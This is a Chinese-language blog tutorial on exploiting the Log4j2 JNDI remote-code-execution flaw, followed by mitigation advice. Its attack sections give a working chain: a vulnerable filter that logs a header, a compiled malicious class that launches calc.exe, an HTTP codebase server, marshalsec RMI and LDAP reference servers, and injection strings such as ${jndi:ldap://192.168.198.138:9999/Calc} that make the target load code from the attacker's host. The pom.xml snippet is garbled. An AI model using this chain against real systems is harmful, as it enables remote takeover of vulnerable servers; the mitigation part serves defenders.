Apache Log4j2 - JNDI RCE漏洞攻击保姆级教程(仅供测试请勿攻击他人)

Apache Log4j2 - JNDI RCE漏洞攻击保姆级教程(仅供测试请勿攻击他人)

文章目录

  • Apache Log4j2 - JNDI RCE漏洞攻击保姆级教程(仅供测试请勿攻击他人)
    • 一、前言
    • 二、被攻击端
    • 三、攻击端
      • 1.JNDI RCE漏洞嗅探
      • 2.编写恶意代码并编译
      • 3.搭建codebase web服务
      • 4.搭建RMI或LDAP服务监听
    • 四、漏洞解决方案
      • 1.升级jdk版本(`>8u191`)
      • 2.升级log4j2版本(`>=2.15.0`)
      • 3.临时解决方案

一、前言

近日,Java日志组件Log4j2爆出严重0 day漏洞,吓得我赶紧研究了一下,不看不知道,这玩意的严重程度极高,达到10分,且易于利用。

JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一,所有的J2EE容器都必须提供一个JNDI的服务。
JNDI可访问的现有的目录及服务有:
DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。

RCE漏洞(Remote Command/Code Execute)指远程代码执行漏洞。

二、被攻击端

@Component
public class CorsFilter implements Filter {

    public static final Logger LOGGER = LoggerFactory.getLogger(CorsFilter.class);
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        HttpServletResponse rep = (HttpServletResponse) servletResponse;
        final String authorization = req.getHeader("Authorization");
        // Logger 使用log4j2 2.14
        LOGGER.info(authorization);
        if (CorsUtils.isCorsRequest(req)) {
        	// 省略无关代码
        }

        filterChain.doFilter(servletRequest, servletResponse);
    }
}

三、攻击端

1.JNDI RCE漏洞嗅探

  • 原理

将dnslog平台中的特有字段payload带入目标发起dns请求,通过dns解析将请求后的关键信息组合成新的三级域名带出,在ns服务器的dns日志中显示出来。

dnslog Platform

  • 探测漏洞
    Apache Log4j2 - JNDI RCE漏洞攻击保姆级教程(仅供测试请勿攻击他人)_第1张图片
    Apache Log4j2 - JNDI RCE漏洞攻击保姆级教程(仅供测试请勿攻击他人)_第2张图片

通过postman测试,发现log4j2 2.14确实存在JDNI漏洞。

2.编写恶意代码并编译

注意:与“被攻击端”保持一致的jdk版本,避免“被攻击端”不支持加载恶意class。

mkdir -p /opt/jndi/attack-code
cat > Calc.java <<\EOF
import java.io.*;
 
public class Calc {
    static {
        try {
        	// 打开“被攻击端”的计算器程序
            Runtime.getRuntime().exec("calc.exe");
        }
        catch (IOException ex) {
            ex.printStackTrace();
        }
    }
}
EOF
javac Calc.java

3.搭建codebase web服务

cd /opt/jndi/attack-code
nohup python -m SimpleHTTPServer 1111 > nohup.out 2>&1 &
netstat -lntp
curl http://localhost:1111/

4.搭建RMI或LDAP服务监听

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
  • 用法
java -cp target/marshalsec-[VERSION]-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer <codebase># []
  • 使用RMI协议

对应的注入字符串为${jndi:rmi://192.168.198.138:9999/Calc};注意要求jdk版本小于8u121,比如我本地搭建的被攻击端测试服务使用jdk为8u151,使用RMI攻击失败,必须要求被攻击端再程序中增加System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");才可成功注入恶意代码。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.198.138:1111/#Calc" 9999
  • 使用LDAP协议

对应的注入字符串为${jndi:ldap://192.168.198.138:9999/Calc}

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.198.138:1111/#Calc" 9999
  • 通过postman注入jndi地址 ${jndi:rmi://192.168.198.138:9999/Calc}${jndi:ldap://192.168.198.138:9999/Calc}(根据攻击端的协议类型而定),此时发现被攻击端服务器弹出计算器程序。
    Apache Log4j2 - JNDI RCE漏洞攻击保姆级教程(仅供测试请勿攻击他人)_第3张图片

四、漏洞解决方案

1.升级jdk版本(>8u191)

  • JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

  • JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

  • JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

2.升级log4j2版本(>=2.15.0)

升级log4j2版本到2.15.0,springboot可通过在pom.xml中增加如下配置升级log4j2版本。

<properties>
    <log4j2.version>2.15.0log4j2.version>
properties>

3.临时解决方案

  • JVM

JVM启动参数增加-Dlog4j2.formatMsgNoLookups=true或在项目的类路径(classpath)下增加log4j2.component.properties配置文件并增加配置项log4j2.formatMsgNoLookups=true

  • 网络

禁止被攻击端连接互联网

参考:
dnslog小技巧
5-java安全基础——RMI和JNDI实现漏洞利用
Fastjson反序列化与JNDI注入
【入坑JAVA安全】老公,JNDI注入是什么呀?

你可能感兴趣的:(网络安全与渗透测试,安全,Log4j2,JNDI,RCE)